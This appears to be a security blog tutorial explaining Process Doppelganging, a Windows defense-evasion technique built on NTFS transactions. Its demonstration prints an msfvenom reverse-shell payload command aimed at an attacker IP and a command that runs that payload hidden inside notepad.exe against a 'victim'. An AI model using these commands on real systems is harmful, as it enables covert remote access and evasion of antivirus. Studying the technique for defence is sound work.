Process Doppelganging (Mitre:T1055.013)

Introduction

Eugene Kogan and Tal Liberman presented a technique for defense evasion called “Process Doppelganging” in Blackhat EU 2017 which can be found here and a video of the session here. In this method, NTFS transactions are used to create a dummy file containing our payload, which creates a new NTFS memory section with our payload. And then, rolling back the dummy file making the malware exist only in memory (our newly created section). Then this section can be loaded to a new process and be executed under disguise. We’ll see this in action in live code.

MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)

MITRE Technique ID: Process Injection (T1055)

MITRE SUB ID: Process Doppelganging (T1055.013)

 

Table of content

·         File systems

·         FAT

·         NTFS

·         Working of NTFS

·         NTFS Transactions

·         Process Doppelganging

·         Demonstration

·         Drawbacks

·         Conclusion

 

File systems

Before we proceed further, it is necessary to know a little about Windows Filesystems. They allow files and directories to be stored in physical memory in small clusters (logical blocks) while maintaining a table of index to refer where each file is stored and in which cluster. Windows supports two major file systems: FAT and NTFS

FAT: File Allocation Table is the legacy format to maintain hard disks, removable storages etc. They come in three formats FAT12, FAT16 AND FAT32. Each of these versions provide different cluster size and different maximum file size. For example, FAT12 only supported files as large as 32 MB while the newer FAT32 supports files upto 32GB (theoretical limit 16 TB) with cluster size 8 KB. They are wisely used in storage medias that have to be used on different operating systems (windows, linux, macOS).

NTFS: Windows developed the New Technology File System (NTFS) that is the most popular file system in Windows OS. It overcame various FAT limitations and had following features:

·         Large File Size Limit: 16 exabytes

·         Larger size of cluster: varying from 4KB to 2048 KB depending on file size. Refer here. So, if a file is 4 Gb, it gets divided in 1 million 4Kb clusters (approx.). Or even if the file size is 4.1 Kb, it gets divided in 2 clusters each of size 4KB (4+0.1 KB in clusters)

·         Journaling file system: It maintains a record of changes ($Logfile) so that it can recover data following a system failure/corruption

·         Supports in built encryption (turns file name to blue if encrypted)

·         Supports file permission model on memory (RWX)

·         Limited Cross OS compatibility.

Working of NTFS: NTFS uses a B-Tree directory schema to keep track of file clusters. It already has various built-in memory spaces for things like:

·         $BOOT: Contains boot manager sequence which helps an OS to start up

·         $MFT: Master File Table is an index of all the files present on the directory. Any lookup is done by referring to this table.

·         $MFTMir: Master File Table Mirror is a redundant MFT for backup purposes.

·         $FileSystemData: Contains misc data not in MFT

·         Refer here for more functions.

So, when an HDD is formatted and files stored in it, MFT gets updated with the knowledge of the file clustering and value in each cluster. Next time a user looks up the file, MFT refers to that physical location and loads the file.

 

NTFS Transactions

Essentially memory is a 2D matrix containing references to files and OS variables. Much like the transactions in databases, transactions in NTFS are also possible which lets a user play with the memory segments. One can manually perform operations on a particular NTFS sector(memory segment) and input data in it using various Windows APIs provided by Microsoft.

Transactions encapsulate a series of operations into a single unit. Hence, multiple operations can be treated as an integrated unit transaction which get executed if each and every transaction returns true, or fails entirely even if a single transaction fails.

Windows API functions on NTFS transactions can be referred to here.

Read more about Transactions here.

 

Process Doppelganging

Now that we have established an understanding of Transactions on NTFS, let’s understand Process Doppelganging. In this method, NTFS transactions are used to create a dummy file containing our payload, which creates a new NTFS memory section with our payload. And then, rolling back the dummy file making the malware exist only in memory (our newly created section). Then this section can be loaded to a new process and be executed under disguise. Let’s understand this via code contributed by Hasherezade here.

Step 1: Create a new NTFS transaction, which is nothing but an operation on the memory space. Windows has provided the following function to do this:

·         CreateTransaction()

Step 2: Inside this transaction, we create a dummy file to store the payload. This reserves a space equivalent to the size of our malicious payload in the section.

·         CreateFileTransacted()

Step 3: Using the above function, our dummy file is now ready to be generated. We now need to create a new section where this gets stored.

·         CreateSection()

Step 4: Now that we have create a section, including our dummy file with our payload in it, we no longer need our file and the payload can exist in memory, i.e., “fileless payload.” We can now rollback our transaction and delete this dummy file. This would not delete our section and our payload lives in it.

·         RollbackTransaction()

Step 5: Now the malicious code is stored in a section. We need to create a new process and attach this section to it. This is the “doppelganger process”

·         NtCreateProcessEx(): It can load a process using a section containing PE content too as well as a PE File!

Step 6: Finishing. We need to fill some of the process paramters manually and link it to the current PEB for the process to run properly. Refer the code for how it is done. The supporting function used is:

·         Setup_process_paramters

Step 7: Point EAX to the entry point and create a new thread to start execution.

·         CreateThreadEx

That’s it! That’s all the steps. Let’s see this in action now.

 

Demonstration

Before we begin, please note that Windows 10 is detecting this attack as defender has updated the signatures associated with Doppelganging. When detected, it looks like:

Please refer to the CARO naming convention to understand this naming.

Hence, we will use Windows 7/8/8.1 to execute the attack. First we need to create a malicious Exe using msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > hello.exe

Once created, we can send this to our victim and launch Process Doppelganging attack using Hasherezade’s executables. To run this, we just need to provide the malicious file and the file in which we will hide our payload in. Here, I am using a file called “hex.txt” which is a simple notepad file.

Thus, hello.exe shall be running under the notepad.exe process thus evading defenses!

proc_doppel32.exe hello.exe hex.txt

Upon inspecting current processes in process explorer, we will see that a cmd is active under notepad.exe! Unusual, right?

If everything works, we will successfully see a reverse shell!

 

Drawbacks

Well, if everything works then what’s the problem? We do not wish to leave anyone reading this under false pretenses of this attack working on modern systems. There are various drawbacks which have to be considered:

·         Cannot replace any file you like; like svchost.exe which gives access denied error

·         Functions like CreateThreadEx and NtCreateProcessEx have a unique signature and are easily detectable by AV now (in Windows 10 above)

·         This is an outdated technique. Running on Win 10 gives some users the BSOD error too. Hence, we recommend using Process Ghosting instead. Refer here. This attack also follows the same methodology but instead of using NTFS transactions and rolling it back, it uses “DELETE_PENDING” flag to inject payload in-memory.

 

Conclusion

The article brought about a highlight on a famous defense evasion technique which had been used by various APTs and malware campaigns in the past. We talked about the misuse of various Microsoft’s Win32 APIs that make this abuse possible and also, demonstrated the PoC of the attack. A skilled attacker can easily customize the PoC code, evade previously detected signatures of functions like NtCreateProcessEx and use alternate functions that can do the same thing; and implement the Process Doppelganging technique for defense evasion. Hope you liked the article. Thanks for reading.